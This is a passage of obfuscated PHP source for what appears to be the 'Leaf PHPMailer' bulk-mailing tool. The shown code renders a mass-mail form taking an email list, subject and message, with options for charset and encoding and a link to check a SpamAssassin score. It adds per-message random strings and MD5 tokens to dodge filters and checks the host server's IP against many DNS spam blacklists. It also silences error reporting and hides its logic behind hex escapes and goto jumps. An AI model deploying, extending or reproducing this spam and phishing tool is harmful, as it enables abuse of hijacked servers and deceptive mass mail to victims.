"\42\76\74\x2f\x64\x69\166\x3e\xa\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\74\x64\x69\x76\x20\x63\154\141\x73\x73\75\x22\x66\x6f\162\x6d\55\147\162\x6f\165\160\x20\x63\157\154\55\154\x67\55\66\x20\x22\76\x3c\154\x61\142\x65\x6c\40\146\x6f\162\75\42\163\145\x6e\x64\x65\x72\116\141\x6d\x65\42\76\123\145\x6e\144\x65\162\x20\x4e\141\x6d\x65\x3c\57\154\141\142\x65\x6c\x3e\74\151\156\x70\x75\164\x20\x74\171\x70\145\x3d\x22\164\145\x78\x74\42\x20\x63\154\141\x73\x73\x3d\x22\x66\x6f\162\x6d\55\x63\157\156\164\x72\157\x6c\x20\x20\x69\156\160\x75\x74\55\163\155\x20\42\40\151\144\75\x22\x73\x65\156\144\x65\x72\x4e\141\155\x65\42\x20\156\141\155\145\75\x22\x73\x65\156\144\145\162\116\x61\x6d\x65\x22\40\x76\141\x6c\x75\145\x3d\42" . $senderName . "\x22\x3e\74\x2f\x64\x69\166\76\xa\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\74\x2f\144\151\x76\76\12\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x3c\144\151\166\40\x63\154\x61\x73\163\75\x22\162\x6f\167\42\76\12\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\x3c\163\160\141\156\40\x63\x6c\x61\163\x73\x3d\42\146\157\x72\155\55\x67\162\x6f\165\x70\x20\143\157\154\x2d\154\x67\x2d\66\x20\40\42\x3e\74\x6c\141\142\145\x6c\x20\146\x6f\x72\x3d\42\141\164\164\x61\x63\x68\155\145\x6e\164\x22\76\101\164\164\141\x63\x68\x6d\145\156\164\x20\x3c\x73\155\141\x6c\x6c\76\x28\x4d\165\154\164\151\x70\154\x65\x20\x41\166\x61\151\154\x61\142\x6c\145\51\x3c\x2f\x73\155\x61\x6c\154\x3e\74\x2f\x6c\141\x62\x65\154\76\x3c\x69\156\x70\x75\164\40\x74\171\160\x65\75\42\x66\x69\154\145\x22\40\x6e\141\x6d\145\75\x22\141\164\x74\141\143\x68\155\x65\x6e\x74\x5b\x5d\x22\x20\x69\x64\75\x22\141\x74\x74\141\x63\150\x6d\145\156\164\133\x5d\x22\40\155\165\x6c\164\151\160\154\145\57\76\74\x2f\x73\160\141\x6e\x3e\xa\12\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x3c\144\151\166\40\143\x6c\x61\163\x73\75\42\146\157\x72\155\55\x67\162\157\165\160\x20\x63\157\x6c\x2d\154\x67\x2d\x36\x22\x3e\74\154\x61\x62\145\x6c\40\146\x6f\162\x3d\x22\x72\x65\x70\x6c\x79\x54\x6f\42\x3e\x52\145\x70\154\x79\x2d\164\157\x3c\57\x6c\141\x62\x65\154\x3e\x3c\151\x6e\160\165\164\x20\164\171\x70\x65\x3d\42\x74\145\170\x74\x22\x20\143\x6c\141\x73\163\x3d\x22\146\157\x72\x6d\x2d\x63\157\x6e\x74\x72\157\x6c\40\40\x69\156\160\165\x74\x2d\163\x6d\40\x22\x20\151\x64\75\x22\162\145\160\x6c\x79\x54\x6f\x22\x20\156\141\155\x65\x3d\x22\162\x65\160\154\171\124\x6f\42\40\x76\x61\154\165\x65\75\42" . $replyTo . "\42\x20\x2f\x3e\x3c\x2f\x64\x69\x76\x3e\12\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\74\x2f\144\x69\166\76\12\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x3c\x64\151\166\x20\x63\154\141\x73\163\x3d\42\x72\157\167\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\74\144\x69\166\x20\143\x6c\141\163\163\75\x22\x66\157\x72\x6d\x2d\x67\162\157\x75\160\x20\143\x6f\x6c\55\154\147\x2d\61\62\x20\x22\76\74\154\141\142\145\154\x20\146\157\x72\x3d\42\x73\165\x62\x6a\x65\x63\164\x22\x3e\123\x75\x62\152\145\x63\x74\x3c\x2f\154\x61\142\145\x6c\x3e\74\x69\156\160\x75\x74\x20\x74\171\160\145\x3d\x22\x74\145\x78\164\42\x20\143\x6c\141\x73\163\x3d\42\146\157\162\x6d\55\x63\x6f\x6e\164\162\x6f\154\40\40\x69\156\160\x75\164\x2d\163\x6d\40\42\40\x69\144\x3d\42\x73\165\x62\x6a\145\143\164\42\40\x6e\x61\155\x65\75\x22\x73\165\142\152\x65\143\x74\42\x20\x76\141\154\x75\x65\75\x22" . $subject . "\x22\40\x2f\76\x3c\57\x64\151\x76\x3e\12\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\74\57\144\x69\166\76\xa\40\40\40\x20\40\x20\40\x20\40\40\40\x20\x3c\144\151\x76\40\x63\x6c\x61\163\x73\75\42\162\x6f\167\x22\x3e\12\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\74\x64\x69\166\x20\143\154\x61\x73\163\75\42\x66\x6f\162\x6d\x2d\x67\162\x6f\x75\x70\40\x63\157\154\55\154\147\x2d\66\x22\76\74\x6c\141\x62\145\x6c\x20\x66\x6f\x72\75\x22\x6d\145\163\163\x61\x67\145\x4c\x65\164\164\145\x72\x22\76\x4d\145\163\x73\x61\147\x65\x20\114\x65\x74\164\x65\162\40\x3c\x62\165\164\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\x75\x62\155\x69\164\x22\x20\x63\154\141\163\x73\75\42\x62\164\x6e\x20\x62\164\156\x2d\144\x65\x66\141\165\x6c\x74\40\x62\x74\156\x2d\170\163\42\40\146\x6f\162\x6d\75\42\x66\x6f\162\x6d\x22\x20\x6e\141\155\145\75\x22\x61\143\x74\151\x6f\x6e\x22\40\166\141\x6c\x75\145\x3d\x22\166\x69\x65\167\42\x20\x66\157\162\x6d\164\141\x72\147\145\x74\75\x22\137\142\x6c\141\156\153\42\x3e\120\x72\145\166\151\145\167\x20\x3c\57\142\x75\164\164\157\x6e\x3e\x3c\57\154\x61\142\145\x6c\x3e\x3c\164\145\x78\x74\x61\x72\145\x61\40\x6e\x61\155\x65\75\x22\x6d\145\163\163\x61\x67\x65\x4c\x65\164\x74\145\x72\x22\x20\151\x64\75\x22\155\x65\x73\163\141\147\145\x4c\x65\x74\164\x65\x72\x22\40\143\154\141\x73\163\75\x22\146\157\162\x6d\55\x63\157\156\164\x72\x6f\x6c\42\40\162\157\167\163\75\42\x31\x30\x22\40\x69\x64\75\x22\164\x65\170\x74\x41\162\145\141\x22\x3e" . $messageLetter . "\x3c\57\x74\x65\170\x74\x61\x72\x65\141\76\x3c\57\x64\x69\x76\76\xa\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x3c\x64\x69\x76\x20\x63\x6c\x61\163\x73\75\x22\146\x6f\162\155\x2d\x67\x72\x6f\165\x70\x20\143\x6f\154\x2d\154\x67\x2d\x36\x20\x22\x3e\74\154\x61\142\145\154\40\x66\157\162\75\42\x65\155\141\151\x6c\x4c\x69\x73\x74\42\x3e\105\155\141\151\154\40\x4c\x69\163\x74\x20\x3c\141\x20\150\x72\145\x66\x3d\42\77\x65\x6d\141\151\x6c\146\151\154\x74\x65\x72\75\157\156\42\40\x74\x61\162\147\145\164\75\42\x5f\x62\x6c\141\x6e\153\42\40\143\x6c\x61\163\163\x3d\42\142\x74\x6e\40\x62\x74\156\55\x64\145\x66\x61\165\154\164\40\x62\x74\156\55\x78\x73\42\x3e\106\x69\x6c\164\145\x72\x2f\x45\x78\x74\162\141\143\164\74\x2f\x61\76\74\57\x6c\x61\x62\145\154\76\x3c\x74\x65\x78\x74\141\162\x65\141\x20\x6e\x61\x6d\x65\x3d\x22\145\x6d\141\x69\154\x4c\x69\x73\164\x22\x20\151\x64\x3d\42\x65\x6d\x61\x69\154\x4c\151\x73\x74\x22\x20\143\x6c\x61\x73\163\75\42\146\157\162\155\55\x63\x6f\156\164\x72\x6f\154\x22\40\162\157\167\163\x3d\x22\x31\60\x22\x20\x69\x64\75\x22\x74\x65\x78\x74\x41\162\145\141\x22\76" . $emailList . "\74\57\x74\145\x78\x74\x61\162\x65\x61\76\x3c\57\x64\151\166\x3e\12\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\74\57\x64\151\x76\76\xa\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\74\144\x69\166\x20\143\154\141\163\163\75\x22\x72\x6f\167\42\x3e\12\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\74\x64\151\166\40\143\154\141\163\163\x3d\42\x66\157\162\155\55\147\162\157\x75\x70\x20\x63\157\x6c\55\154\x67\55\66\x20\42\x3e\12\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\74\x6c\141\x62\145\x6c\x20\146\x6f\x72\75\x22\155\x65\x73\x73\141\x67\145\x54\171\160\145\42\76\115\x65\x73\x73\x61\x67\x65\x20\124\x79\160\145\74\57\154\141\142\145\154\76\xa\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\110\124\x4d\x4c\40\x3c\151\x6e\x70\165\x74\x20\164\171\x70\x65\75\x22\162\x61\x64\151\x6f\x22\40\156\141\x6d\145\75\42\155\x65\163\x73\x61\147\145\x54\x79\160\x65\42\40\x69\144\75\x22\155\145\x73\x73\141\147\x65\x54\x79\x70\145\x22\x20\x76\x61\x6c\165\x65\x3d\42\x31\42\x20" . $html . "\x3e\12\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\120\x6c\x61\x69\x6e\74\x69\156\160\165\164\x20\x74\x79\160\145\x3d\42\x72\x61\144\x69\157\42\40\x6e\141\155\x65\x3d\42\155\x65\163\163\x61\x67\x65\124\171\160\x65\x22\40\151\144\75\42\x6d\145\x73\x73\x61\x67\x65\x54\x79\x70\x65\x22\x20\x76\x61\x6c\x75\145\75\x22\62\42\40" . $plain . "\x3e\12\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\74\57\x64\151\x76\x3e\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\74\x64\x69\166\40\143\x6c\x61\163\163\75\42\x66\157\x72\x6d\x2d\147\x72\x6f\x75\x70\x20\143\157\154\55\154\x67\x2d\x33\40\42\76\12\40\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\40\40\40\74\154\x61\x62\145\154\x20\x66\x6f\162\x3d\x22\143\x68\141\162\163\145\x74\42\x3e\x43\x68\141\x72\x61\x63\164\x65\x72\40\163\x65\164\x3c\57\154\x61\x62\145\x6c\x3e\xa\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\74\x73\x65\154\x65\143\x74\x20\x63\154\x61\163\x73\75\x22\146\157\162\155\x2d\x63\157\156\164\162\157\x6c\40\x69\x6e\x70\165\x74\x2d\x73\155\42\40\x69\x64\75\42\x63\x68\141\162\163\x65\x74\42\x20\156\141\155\x65\x3d\42\x63\150\x61\162\x73\145\164\42\76\xa\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\74\x6f\160\164\151\x6f\156\x20" . $utf8 . "\x3e\x55\124\x46\55\x38\x3c\57\157\160\x74\151\157\156\76\12\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\74\157\x70\164\x69\x6f\x6e\x20" . $iso . "\76\x49\x53\x4f\55\70\70\x35\x39\x2d\x31\74\57\x6f\x70\164\151\x6f\x6e\x3e\xa\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x3c\57\163\145\154\145\143\x74\76\12\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x3c\x2f\144\151\166\x3e\xa\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\74\x64\151\166\40\143\x6c\141\163\x73\75\42\146\x6f\x72\155\55\x67\x72\x6f\x75\160\40\x63\x6f\x6c\x2d\x6c\147\55\63\x20\42\76\12\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\x3c\x6c\141\x62\145\154\x20\146\x6f\x72\75\x22\x65\156\x63\157\x64\x69\156\147\x22\x3e\x4d\145\x73\163\141\x67\145\40\x65\x6e\x63\x6f\144\x69\156\147\x3c\57\x6c\x61\142\x65\154\x3e\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\74\163\x65\154\x65\143\164\x20\x63\154\x61\163\x73\x3d\x22\x66\x6f\162\x6d\x2d\x63\x6f\156\164\x72\157\x6c\40\x69\x6e\160\165\164\x2d\x73\x6d\x22\40\x69\x64\x3d\42\x65\x6e\x63\157\144\x65\x22\x20\x6e\141\155\145\x3d\x22\x65\156\x63\157\144\145\42\x3e\xa\40\40\40\40\40\x20\40\40\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\74\157\x70\x74\x69\157\x6e\x20" . $bit8 . "\x3e\x38\x62\x69\x74\x3c\x2f\x6f\x70\164\x69\x6f\156\76\xa\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\x20\74\x6f\160\x74\151\157\x6e\x20" . $bit7 . "\x3e\67\142\151\x74\74\57\x6f\160\x74\x69\157\x6e\76\xa\x20\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x3c\157\160\164\x69\157\156\40" . $binary . "\76\142\x69\x6e\141\162\x79\74\x2f\157\x70\x74\x69\157\156\x3e\12\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x3c\x6f\x70\x74\x69\157\156\40" . $base64 . "\76\x62\x61\x73\x65\66\64\x3c\x2f\157\x70\164\x69\x6f\156\x3e\12\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x3c\157\160\x74\151\157\x6e\40" . $quotedprintable . "\x3e\161\165\157\x74\x65\144\x2d\160\162\x69\x6e\x74\x61\142\x6c\x65\x3c\57\157\x70\164\x69\157\156\76\12\xa\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\74\57\163\145\x6c\145\x63\x74\x3e\12\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\x3c\x2f\144\151\x76\x3e\xa\40\x20\40\40\40\x20\40\x20\40\x20\40\40\74\x2f\144\151\x76\76\xa\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\74\x62\165\164\x74\x6f\156\40\164\171\x70\145\x3d\42\x73\165\142\x6d\151\x74\x22\x20\x63\154\x61\x73\163\75\x22\x62\164\x6e\40\142\164\x6e\55\x64\x65\146\x61\x75\154\164\40\142\x74\x6e\x2d\163\x6d\x22\40\146\x6f\162\x6d\x3d\42\x66\157\162\x6d\42\x20\156\x61\x6d\145\75\42\x61\143\x74\x69\157\156\x22\x20\166\x61\154\165\x65\x3d\x22\x73\145\x6e\144\x22\76\x53\x45\116\104\x3c\x2f\142\x75\x74\x74\157\x6e\x3e\x20\x6f\162\x20\x3c\x61\x20\x68\x72\145\x66\75\42\43\x22\40\157\x6e\x63\154\x69\143\x6b\75\42\144\x6f\x63\x75\155\x65\x6e\164\x2e\x67\x65\164\105\154\x65\155\x65\x6e\x74\102\x79\x49\x64\50\47\146\x6f\x72\x6d\x27\51\x2e\163\165\142\155\151\x74\50\x29\73\x20\x72\x65\164\x75\x72\156\x20\x66\141\154\x73\145\x3b\42\76\x63\150\145\x63\153\40\123\x70\141\x6d\101\163\163\141\163\x73\x69\x6e\40\123\x63\157\162\x65\x3c\x2f\x61\x3e\xa\x20\x20\40\12\x20\40\40\40\x20\x20\40\40\74\x2f\x66\x6f\x72\x6d\76\xa\40\40\x20\40\x3c\x2f\x64\151\x76\76\xa\x20\40\x20\x20\74\144\x69\166\x20\x63\154\141\163\x73\75\42\143\157\154\x2d\154\x67\55\x36\x22\x3e\74\142\162\76\xa\40\40\x20\x20\40\x20\x20\x20\x3c\x6c\141\x62\x65\x6c\40\x66\x6f\x72\x3d\42\167\x65\154\154\x22\76\x49\156\163\164\x72\165\143\x74\x69\x6f\x6e\74\x2f\x6c\141\x62\x65\x6c\76\12\40\x20\x20\x20\40\40\x20\40\x3c\x64\151\166\x20\x69\144\x3d\42\167\x65\154\x6c\42\x20\143\x6c\141\163\163\x3d\42\x77\x65\x6c\x6c\x20\x77\x65\154\x6c\x22\x3e\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x3c\150\64\76\123\145\162\166\145\x72\40\x49\156\146\x6f\x72\x6d\141\x74\x69\x6f\156\74\x2f\150\x34\76\xa\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\74\165\x6c\x3e\12\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x3c\x6c\151\76\x53\145\162\166\x65\x72\40\x49\120\x20\x41\144\x64\162\145\x73\x73\40\x3a\x20\x3c\x62\x3e" . $_SERVER["\x53\105\122\126\x45\122\x5f\x41\104\104\122"] . "\40\x3c\57\142\76\x20\74\x61\x20\150\162\x65\x66\x3d\42\x3f\143\150\x65\x63\153\137\x69\160\75" . $_SERVER["\x53\x45\122\126\x45\122\137\101\x44\104\x52"] . "\x22\x20\x74\x61\x72\x67\x65\x74\75\42\x5f\x62\154\141\156\153\x22\40\143\154\x61\163\x73\x3d\42\x6c\x61\x62\145\154\x20\154\141\142\145\x6c\x2d\160\x72\x69\155\x61\x72\x79\x22\76\103\x68\x65\x63\153\40\x42\154\141\x63\x6b\x6c\x69\163\164\40\74\x69\x20\143\x6c\141\163\163\75\x22\147\x6c\171\x70\150\x69\143\x6f\156\x20\x67\154\171\x70\x68\x69\143\157\156\55\163\x65\x61\162\143\150\x22\x3e\74\57\x69\76\74\x2f\x61\x3e\74\x2f\154\151\x3e\12\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\74\x6c\151\x3e\120\x48\120\40\126\x65\162\x73\151\157\156\x20\72\x20\74\x62\x3e" . phpversion() . "\74\x2f\x62\x3e\74\x2f\154\x69\76\12\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\40\12\xa\40\40\40\x20\x20\40\x20\x20\40\40\40\x20\x3c\57\165\154\76\12\40\40\x20\40\x20\x20\40\40\40\40\40\x20\74\150\64\76\x48\105\114\120\x3c\57\150\x34\76\xa\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\x3c\165\154\76\xa\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\74\154\x69\76\x5b\55\145\155\141\x69\x6c\55\x5d\x20\x3a\40\x3c\x62\x3e\122\145\143\x65\151\x76\x65\x72\40\105\155\x61\151\154\x3c\x2f\142\x3e\x20\50\145\155\x61\x69\154\165\163\x65\x72\x40\145\155\141\x69\154\144\x6f\x6d\x61\151\x6e\56\143\157\155\51\x3c\57\x6c\x69\x3e\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\74\165\154\x3e\xa\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\x6c\x69\76\133\55\x65\155\141\x69\154\x75\x73\145\162\55\x5d\40\x3a\x20\x3c\142\x3e\x45\155\x61\x69\154\x20\125\x73\145\162\x3c\57\142\x3e\40\x28\145\155\x61\x69\x6c\165\163\x65\162\51\40\74\57\154\x69\x3e\xa\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\x3c\x6c\151\76\x5b\55\x65\155\x61\x69\154\x64\157\155\x61\151\156\x2d\x5d\40\72\x20\x3c\x62\76\105\x6d\141\x69\x6c\40\125\x73\x65\x72\x3c\57\x62\x3e\40\50\x65\x6d\141\x69\x6c\x64\157\155\141\151\156\x2e\x63\157\x6d\51\40\74\57\x6c\151\76\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x2f\x75\154\x3e\12\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x3c\154\x69\76\133\x2d\164\151\155\145\55\135\40\72\40\74\x62\x3e\104\x61\164\145\x20\141\x6e\144\40\x54\151\155\x65\74\57\x62\76\x20\50" . date("\155\x2f\x64\x2f\x59\x20\150\72\x69\x3a\163\40\x61", time()) . "\51\x3c\x2f\154\x69\76\12\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\40\12\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\74\x6c\x69\x3e\x5b\55\x72\x61\x6e\144\157\x6d\x73\164\x72\x69\156\x67\x2d\x5d\40\x3a\40\74\142\76\x52\x61\156\144\157\155\x20\x73\164\x72\151\156\x67\x20\50\x30\x2d\x39\x2c\x61\55\x7a\51\74\57\142\x3e\x3c\x2f\x6c\151\76\xa\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\74\154\x69\76\133\x2d\x72\x61\x6e\x64\x6f\x6d\x6e\x75\155\142\145\x72\x2d\135\40\72\x20\74\142\76\x52\141\x6e\144\157\155\x20\156\x75\155\x62\x65\x72\x20\50\x30\55\71\51\x20\x3c\57\142\76\x3c\x2f\x6c\151\76\xa\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\74\154\x69\x3e\x5b\55\162\x61\156\144\157\155\x6c\145\164\x74\145\x72\163\x2d\135\40\72\40\x3c\x62\x3e\122\x61\x6e\x64\157\155\x20\x4c\x65\x74\164\x65\x72\163\x28\141\x2d\172\51\40\x3c\x2f\x62\76\74\57\x6c\151\76\xa\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\40\40\x3c\154\x69\76\133\x2d\x72\141\156\144\x6f\x6d\155\144\65\x2d\135\40\x3a\x20\x3c\142\x3e\x52\141\156\x64\x6f\155\40\115\x44\x35\x20\74\x2f\x62\76\x3c\57\x6c\x69\x3e\12\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\x3c\x2f\165\x6c\76\xa\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x3c\x68\64\76\145\170\x61\x6d\x70\154\x65\74\57\x68\x34\x3e\xa\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\122\145\143\145\x69\x76\145\x72\40\105\155\x61\x69\154\x20\x3d\x20\74\142\76\x75\x73\x65\162\x40\144\x6f\155\x61\x69\x6e\56\x63\x6f\155\x3c\x2f\x62\x3e\x3c\x62\x72\x3e\12\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\74\x75\154\x3e\12\x20\40\40\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x3c\x6c\x69\76\150\x65\x6c\154\157\40\74\x62\76\133\55\145\155\141\x69\154\165\x73\x65\162\55\135\x3c\x2f\x62\76\x20\75\40\150\145\154\x6c\x6f\40\74\x62\x3e\165\x73\145\x72\x3c\x2f\x62\76\74\57\154\x69\x3e\xa\x20\x20\40\40\x20\40\40\40\40\40\40\40\40\40\40\40\74\x6c\151\x3e\171\157\x75\162\x20\144\x6f\x6d\141\x69\156\x20\x69\163\40\x3c\142\76\x5b\x2d\x65\155\x61\x69\154\x64\157\x6d\141\151\x6e\x2d\135\x3c\57\x62\x3e\x20\x3d\x20\x59\x6f\165\x72\40\x44\157\x6d\141\151\156\x20\151\163\40\74\x62\76\144\157\x6d\141\151\156\56\143\157\x6d\x3c\57\x62\76\74\x2f\x6c\x69\x3e\12\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\74\154\x69\x3e\x79\x6f\x75\x72\x20\143\157\x64\145\x20\x69\x73\x20\x20\x3c\142\x3e\x5b\55\162\x61\x6e\x64\x6f\x6d\x6d\144\x35\x2d\x5d\x3c\57\142\x3e\40\75\40\171\x6f\165\x72\40\143\x6f\x64\145\x20\x69\163\40\x3c\x62\76\x65\x31\x30\141\144\143\x33\71\x34\71\142\x61\65\71\141\142\x62\x65\x35\66\x65\x30\65\x37\x66\62\x30\x66\x38\x38\x33\x65\x3c\57\x62\x3e\x3c\x2f\154\151\x3e\xa\40\40\40\40\40\40\x20\40\x20\40\x20\x20\x3c\x2f\x75\x6c\76\xa\xa\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\74\150\x36\x3e\142\171\x20\x3c\142\76\x3c\141\x20\x68\x72\x65\146\75\42\x68\164\164\160\x3a\57\57" . $leaf["\167\145\x62\x73\x69\x74\145"] . "\x22\76" . $leaf["\167\x65\x62\x73\151\x74\x65"] . "\x3c\57\x61\x3e\x3c\57\142\x3e\74\x2f\150\66\76\xa\40\40\x20\x20\x20\x20\x20\x20\74\x2f\144\151\166\x3e\xa\x20\40\40\40\74\57\144\x69\166\x3e"; goto c289N; q9FAd: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "\x3c\x73\164\x72\157\156\147\x3e" . htmlspecialchars($this->getMessage()) . "\74\x2f\x73\x74\162\x6f\156\x67\x3e\74\142\x72\40\57\76\xa"; return $errorMsg; } } goto zGKJ_; u9zAa: error_reporting(0); goto K405j; l8QXI: function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } goto uXDPJ; mCaEd: function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } goto EegxU; mmmzf: $html = "\x63\150\x65\143\x6b\145\144"; goto t6cmL; t6cmL: $utf8 = "\163\145\154\145\143\x74\145\x64"; goto BaUTI; o3kAf: session_write_close(); goto JVcAu; QQvTt: $leaf["\166\x65\x72\163\x69\x6f\x6e"] = "\x32\x2e\x38"; goto THdph; uXDPJ: if (isset($_GET["\143\x68\145\x63\x6b\137\151\x70"])) { if (isset($_GET["\x68\x6f\x73\164"])) { $_GET["\150\x6f\x73\164"] = explode("\54", $_GET["\150\x6f\163\164"]); foreach ($_GET["\x68\157\x73\164"] as $host) { if (checkdnsrr($_GET["\x63\x68\145\x63\x6b\137\151\x70"] . "\56" . $host . "\x2e", "\101")) { $check = "\74\x66\x6f\x6e\x74\40\143\157\154\157\x72\75\47\x72\145\144\47\x3e\40\114\151\163\x74\145\x64\74\57\146\x6f\x6e\164\76"; } else { $check = "\74\x66\157\156\164\x20\143\x6f\x6c\157\x72\x3d\x27\x67\x72\145\145\x6e\x27\x3e\40\x43\x6c\x65\x61\156\x3c\x2f\146\157\x6e\164\76"; } print "\x64\x6f\x63\x75\x6d\145\156\x74\56\x67\145\164\x45\x6c\x65\x6d\x65\156\164\102\x79\x49\144\x28\x22" . $host . "\42\51\56\151\x6e\x6e\x65\162\110\124\115\114\40\75\x20\42" . $check . "\x22\73"; } die; } $dnsbl_lookup = array("\x61\154\x6c\x2e\163\65\x68\56\156\145\164", "\x62\x2e\x62\x61\162\162\141\x63\165\144\141\x63\145\x6e\x74\162\x61\154\x2e\x6f\162\x67", "\142\154\x2e\x73\x70\141\155\143\x6f\160\56\x6e\x65\x74", "\x62\x6c\x61\x63\x6b\154\151\x73\164\x2e\167\x6f\x6f\x64\x79\56\143\x68", "\x62\157\x67\x6f\156\x73\56\x63\x79\x6d\x72\165\56\x63\157\x6d", "\143\x62\x6c\56\x61\x62\165\163\145\x61\164\x2e\157\162\147", "\143\144\154\56\x61\156\x74\151\55\163\x70\x61\155\56\x6f\x72\147\56\143\156", "\143\x6f\155\142\x69\156\x65\144\x2e\x61\x62\x75\x73\x65\x2e\x63\x68", "\x64\142\x2e\x77\160\142\x6c\56\x69\x6e\146\157", "\x64\156\x73\x62\154\55\61\56\165\x63\145\160\162\x6f\164\145\x63\x74\x2e\156\145\x74", "\144\x6e\x73\x62\x6c\x2d\x32\x2e\165\x63\x65\x70\x72\x6f\164\x65\x63\164\56\156\x65\164", "\x64\x6e\x73\x62\154\x2d\x33\56\165\143\145\160\162\157\164\x65\143\x74\56\x6e\x65\164", "\144\x6e\x73\142\154\x2e\141\156\x74\151\x63\141\160\x74\143\150\x61\x2e\x6e\145\164", "\144\x6e\x73\x62\154\56\144\x72\157\156\145\x62\x6c\56\157\162\147", "\144\156\163\x62\154\56\151\x6e\160\163\x2e\144\145", "\x64\156\163\x62\154\56\x73\x6f\162\x62\163\56\x6e\x65\164", "\x64\x72\x6f\x6e\x65\56\141\x62\x75\163\x65\x2e\x63\150", "\x64\x75\x69\x6e\x76\x2e\x61\165\160\141\144\163\56\157\x72\147", "\x64\x75\x6c\56\x64\156\x73\x62\x6c\56\163\x6f\x72\142\x73\56\156\x65\x74", "\144\171\156\141\x2e\163\160\141\155\x72\141\164\x73\x2e\143\157\x6d", "\144\171\156\x69\x70\x2e\x72\157\164\150\x65\x6e\56\143\157\155", "\150\x74\164\160\56\x64\x6e\x73\x62\154\56\x73\157\162\142\x73\56\156\x65\x74", "\x69\160\x73\56\x62\x61\143\153\x73\x63\x61\164\164\145\x72\x65\162\56\157\162\x67", "\151\170\56\144\x6e\x73\x62\x6c\56\155\141\156\x69\164\x75\56\x6e\x65\164", "\153\157\162\145\x61\x2e\x73\x65\x72\166\151\143\145\163\56\156\145\x74", "\x6d\x69\x73\x63\56\144\x6e\163\142\154\x2e\163\x6f\162\x62\163\56\x6e\145\x74", "\156\x6f\160\164\x72\x2e\x73\x70\141\x6d\x72\141\164\163\56\143\157\x6d", 